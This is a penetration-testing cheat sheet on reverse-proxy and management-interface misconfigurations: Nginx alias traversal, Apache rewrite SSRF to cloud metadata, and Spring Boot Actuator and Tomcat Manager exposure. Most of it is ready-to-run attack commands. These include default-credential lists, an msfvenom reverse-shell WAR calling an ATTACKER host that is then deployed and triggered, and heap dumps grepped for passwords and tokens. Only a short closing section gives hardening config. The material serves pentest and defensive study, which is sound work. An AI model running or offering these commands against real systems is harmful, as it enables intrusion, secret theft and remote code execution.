Proxy Misconfig

Reverse Proxy Misconfigurations

1. Nginx alias traversal

Nginx alias directive (vs root) is dangerous when URL pattern is prefix-based but alias is a directory:

location /static {
    alias /var/www/static/;       # trailing slash CRITICAL
}
# But buggy:
location /static {
    alias /var/www/static;        # NO trailing slash → path traversal possible
}

Bypass:

GET /static../etc/passwd  → resolves to /var/www/static../etc/passwd → /var/www/etc/passwd (if exists)
GET /static../  → directory listing if autoindex on

2. Apache mod_rewrite SSRF

RewriteRule ^/proxy/(.*) http://$1 [P]
# Attacker:
GET /proxy/internal-host.local/admin → server makes outbound to internal
GET /proxy/169.254.169.254/latest/meta-data → AWS metadata SSRF

3. Spring Boot Actuator exposure

# Common endpoints if exposed
curl $TARGET/actuator
curl $TARGET/actuator/env       # all env vars including secrets
curl $TARGET/actuator/heapdump  # full memory dump (often contains tokens/passwords)
curl $TARGET/actuator/mappings  # all routes
curl $TARGET/actuator/loggers   # logging config
curl $TARGET/actuator/jolokia/  # JMX bridge → RCE in many configs

# Pre-2.x style
curl $TARGET/env
curl $TARGET/dump
curl $TARGET/trace
curl $TARGET/heapdump

4. Tomcat Manager

curl -u tomcat:tomcat $TARGET/manager/text/list
# Default creds:
# tomcat:tomcat, admin:admin, admin:tomcat, role1:role1
# tomcat:s3cret, manager:manager

# If logged in → upload WAR for RCE
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f war -o shell.war
curl -u admin:admin -T shell.war "$TARGET/manager/text/deploy?path=/shell"
curl "$TARGET/shell/"   # triggers shell

5. IIS short-name disclosure (8.3 names)

# Probe via specific URL pattern + difference in error
curl -s -o /dev/null -w "%{http_code}\n" "$TARGET/A*~1*/"
# 400 if exists, 404 if not — leaks first chars of files/dirs
# Tool: shortscan, IIS_shortname_Scanner

6. Nginx merge_slashes off + URL encoded

GET /api//../../admin   # if merge_slashes off, internal route mapping bypasses auth
GET /api/%2e%2e/admin   # URL-encoded traversal

7. Header injection via X-Forwarded-*

Some apps trust X-Forwarded-For/X-Real-IP from reverse proxy and use it for auth (admin from internal IP). If proxy doesn't strip incoming headers:

curl -H "X-Forwarded-For: 127.0.0.1" $TARGET/admin
curl -H "X-Real-IP: 10.0.0.1" $TARGET/admin
curl -H "X-Original-Forwarded-For: 192.168.1.1" $TARGET/admin

8. WebSocket Origin bypass via proxy

Proxy doesn't validate WebSocket Origin → attacker-origin can connect.

wscat -c "wss://target.com/ws" -H "Origin: https://evil.com"

9. HTTP/2 specific attacks

Some proxies have h2 → h1 downgrade bugs (smuggling). See skills/exploit/web/smuggling.md.

10. Tools

• Nuclei templates for actuator/manager/admin discovery
• JFrog actuator scanner
• shortscan for IIS 8.3
• smuggler.py for h2 → h1
• trustedheaders for header injection

PoC pattern

# Spring Actuator
curl -s "$TARGET/actuator/env" | jq '.propertySources[] | .properties' | head
# Heap dump if accessible:
curl -s -o /tmp/heap.bin "$TARGET/actuator/heapdump"
strings /tmp/heap.bin | grep -iE 'password|token|secret|aws_access' | head

Severity

Defender

# nginx — always trailing slash on alias
location /static/ {
    alias /var/www/static/;
}

# Strip X-Forwarded-* from client
real_ip_header X-Forwarded-For;
set_real_ip_from 10.0.0.0/8;     # only trust internal
real_ip_recursive on;

Spring Boot:

management:
  endpoints:
    web:
      exposure:
        include: health, info         # never *
  endpoint:
    env:
      enabled: false
    heapdump:
      enabled: false

Cross-references

• Upstream: skills/_corpus/payloads/Reverse Proxy Misconfigurations/ + Insecure Management Interface/
• SSRF chain: skills/exploit/web/ssrf.md
• HTTP smuggling: skills/exploit/web/smuggling.md